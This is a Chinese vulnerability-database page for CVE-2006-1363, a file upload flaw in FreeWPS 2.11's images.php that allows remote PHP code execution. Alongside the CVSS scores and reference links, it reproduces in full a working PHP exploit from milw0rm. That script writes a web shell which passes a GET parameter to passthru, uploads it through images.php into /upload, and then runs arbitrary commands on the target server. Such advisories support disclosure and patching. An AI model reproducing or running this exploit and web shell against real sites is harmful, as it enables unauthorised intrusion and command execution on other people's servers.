CVE-2006-1363
CVSS7.5
发布时间 :2006-03-23 06:06:00
修订时间 :2011-03-07 21:32:53
NMCOE    

[原文]images.php in Justin White (aka YTZ) Free Web Publishing System (FreeWPS) 2.11 allows remote attackers to execute arbitrary PHP code by uploading a .php file into the /upload directory as specified in the dirPath parameter, then performing a direct request to that file.


[CNNVD]Justin White 'images.php'任意PHP代码执行漏洞(CNNVD-200603-388)

        在Justin White (aka YTZ) Free Web出版系统(FreeWPS) 2.11中的images.php,可以让远程攻击者通过上载一个.php文件到在dirPath参数指定的/upload目录下,然后发送一条直接请求到该文件中来执行任意PHP代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1363
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1363
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-388
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1038
(UNKNOWN)  VUPEN  ADV-2006-1038
http://www.milw0rm.com/exploits/1600
(UNKNOWN)  MILW0RM  1600
http://xforce.iss.net/xforce/xfdb/25377
(UNKNOWN)  XF  freewps-images-file-include(25377)
http://secunia.com/advisories/19343
(UNKNOWN)  SECUNIA  19343

- 漏洞信息

Justin White 'images.php'任意PHP代码执行漏洞
高危 未知
2006-03-23 00:00:00 2006-03-23 00:00:00
远程  
        在Justin White (aka YTZ) Free Web出版系统(FreeWPS) 2.11中的images.php,可以让远程攻击者通过上载一个.php文件到在dirPath参数指定的/upload目录下,然后发送一条直接请求到该文件中来执行任意PHP代码。

- 公告与补丁

        

- 漏洞信息 (1600)

FreeWPS <= 2.11 (images.php) Remote Code Execution Exploit (EDBID:1600)
php webapps
2006-03-21 Verified
0 x128
N/A [点击下载]
<?
error_reporting(E_ERROR);

function exploit_init()
{
    if (!extension_loaded('php_curl') && !extension_loaded('curl'))
    {
       if (!dl('curl.so') && !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function exploit_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "ooooooooooooooooooooooooooooo freewps 2.11 exploit ooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php freewps-211-exploit.php [url] [cmd]\n";
    echo "oo proxy support  $ php freewps-211-exploit.php [url] [cmd] [proxy]:[port]\n";
    echo "oo example        $ php freewps-211-exploit.php http://localhost 'ls -a'\n";
    echo "oo execute a command on the remote system by uploading a shell\n\n";
    echo "oo command : " . $_SERVER['argv'][2] . "\n\n";
}

function exploit_bottom()
{
    echo "\noo greets   : b0xC - i want to wish you a happy 21st birthday! this is my small\n";
    echo "              present for you. :)\n";
    echo "oo discover : x128 - alexander wilhelm - 21/03/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net\n";
}

function exploit_execute()
{
    $connection = curl_init();

    if ($_SERVER['argv'][3])
    {
        curl_setopt($connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($connection, CURLOPT_PROXY, $_SERVER['argv'][3]);
    }
    curl_setopt ($connection, CURLOPT_USERAGENT, 'x128');
    curl_setopt ($connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($connection, CURLOPT_HEADER, 0);

    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/upload/shell.php");
    $source = curl_exec($connection);

    if(strpos($source, "404"))
    {
       $shell = fopen("shell.php", "w");
       fwrite($shell, "<? ini_set(max_execution_time,0); passthru(\$HTTP_GET_VARS[shell]); ?>");
       fclose($shell);

       curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/htmlarea/popups/ImageManager/images.php");
       curl_setopt ($connection, CURLOPT_POST, 1);
       curl_setopt ($connection, CURLOPT_POSTFIELDS, array("upload" => "@shell.php", "dirPath"=> "/upload"));
       curl_exec($connection) or die("oo error - cannot connect!\n");

       sleep(2);
       unlink("shell.php");
    }
    curl_setopt ($connection, CURLOPT_POST, 0);
    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/upload/shell.php?shell=" . urlencode($_SERVER['argv'][2]));

    $source = curl_exec($connection) or die("oo error - cannot connect!\n");

    echo $source;

    curl_close ($connection);
}

exploit_init();
exploit_header();
exploit_execute();
exploit_bottom();
?>

# milw0rm.com [2006-03-21]
		

- 漏洞信息

24033
FreeWPS images.php Arbitrary PHP File Upload
Remote / Network Access
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-03-21 Unknow
2006-03-21 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站